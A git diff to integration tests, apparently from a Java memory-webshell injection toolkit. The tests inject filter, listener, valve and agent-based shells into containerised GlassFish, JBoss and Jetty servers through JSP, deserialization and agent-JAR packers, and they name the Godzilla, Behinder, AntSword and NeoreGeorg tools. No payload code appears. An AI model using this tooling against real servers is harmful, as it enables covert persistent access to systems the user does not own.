ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class GlassFish501ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class GlassFish510ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-3
@@ -54,9 +54,7 @@ public class GlassFish6ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
@@ -65,6 +63,7 @@ public class GlassFish6ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class GlassFish7ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
|
|||||||
+1
-3
@@ -55,9 +55,7 @@ public class Jboss423ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class Jboss510ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
|
|||||||
+1
-3
@@ -54,9 +54,7 @@ public class Jboss610ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-3
@@ -57,9 +57,8 @@ public class Jboss711ContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.AGENT_FILTER_CHAIN_ASM,
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
);
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -51,7 +51,11 @@ public class JbossEap7ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossEAP7;
|
Server server = Server.JBossEAP7;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -53,8 +53,7 @@ public class Jetty10ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -63,6 +62,7 @@ public class Jetty10ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+2
-8
@@ -17,7 +17,6 @@ import org.testcontainers.containers.wait.strategy.Wait;
|
|||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
@@ -56,16 +55,11 @@ public class Jetty11ContainerTest {
|
|||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
|
||||||
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), // jdk module
|
|
||||||
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar) // jdk module
|
|
||||||
);
|
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
unSupportedCases, List.of(ShellTool.AntSword)
|
null, List.of(ShellTool.AntSword)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+24
-20
@@ -11,14 +11,17 @@ import org.junit.jupiter.api.AfterAll;
|
|||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.DockerComposeContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
import java.io.File;
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -30,44 +33,45 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty12ee10ContainerTest {
|
public class Jetty12ee10ContainerTest {
|
||||||
public static final String imageName = "jetty:12.0-jre21-ee10";
|
public static final String imageName = "reajason/jetty:12.0-jre21-ee10";
|
||||||
public static final String serviceName = "jetty1221ee10";
|
static Network network = Network.newNetwork();
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public static final DockerComposeContainer<?> compose =
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee10.yaml"))
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
.withExposedService(serviceName, 8080);
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
String logs = container.getLogs();
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl() {
|
|
||||||
String host = compose.getServiceHost(serviceName, 8080);
|
|
||||||
int port = compose.getServicePort(serviceName, 8080);
|
|
||||||
String url = "http://" + host + ":" + port + "/app";
|
|
||||||
log.info("container started, app url is : {}", url);
|
|
||||||
return url;
|
|
||||||
}
|
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+24
-22
@@ -11,14 +11,17 @@ import org.junit.jupiter.api.AfterAll;
|
|||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.DockerComposeContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
import java.io.File;
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -30,44 +33,43 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty12ee8ContainerTest {
|
public class Jetty12ee8ContainerTest {
|
||||||
public static final String imageName = "jetty:12.0-jre21-ee8";
|
public static final String imageName = "reajason/jetty:12.0-jre21-ee8";
|
||||||
public static final String serviceName = "jetty1221ee8";
|
static Network network = Network.newNetwork();
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public static final DockerComposeContainer<?> compose =
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee8.yaml"))
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
.withExposedService(serviceName, 8080);
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER
|
ShellType.LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
String logs = container.getLogs();
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl() {
|
|
||||||
String host = compose.getServiceHost(serviceName, 8080);
|
|
||||||
int port = compose.getServicePort(serviceName, 8080);
|
|
||||||
String url = "http://" + host + ":" + port + "/app";
|
|
||||||
log.info("container started, app url is : {}", url);
|
|
||||||
return url;
|
|
||||||
}
|
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+26
-18
@@ -12,6 +12,10 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.DockerComposeContainer;
|
import org.testcontainers.containers.DockerComposeContainer;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -19,6 +23,9 @@ import java.io.File;
|
|||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.jettyPid;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -30,44 +37,45 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty12ee9ContainerTest {
|
public class Jetty12ee9ContainerTest {
|
||||||
public static final String imageName = "jetty:12.0-jre21-ee9";
|
public static final String imageName = "reajason/jetty:12.0-jre21-ee9";
|
||||||
public static final String serviceName = "jetty1221ee9";
|
static Network network = Network.newNetwork();
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public static final DockerComposeContainer<?> compose =
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee9.yaml"))
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
.withExposedService(serviceName, 8080);
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.JAKARTA_SERVLET,
|
ShellType.JAKARTA_SERVLET,
|
||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
|
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = compose.getContainerByServiceName(serviceName).get().getLogs();
|
String logs = container.getLogs();
|
||||||
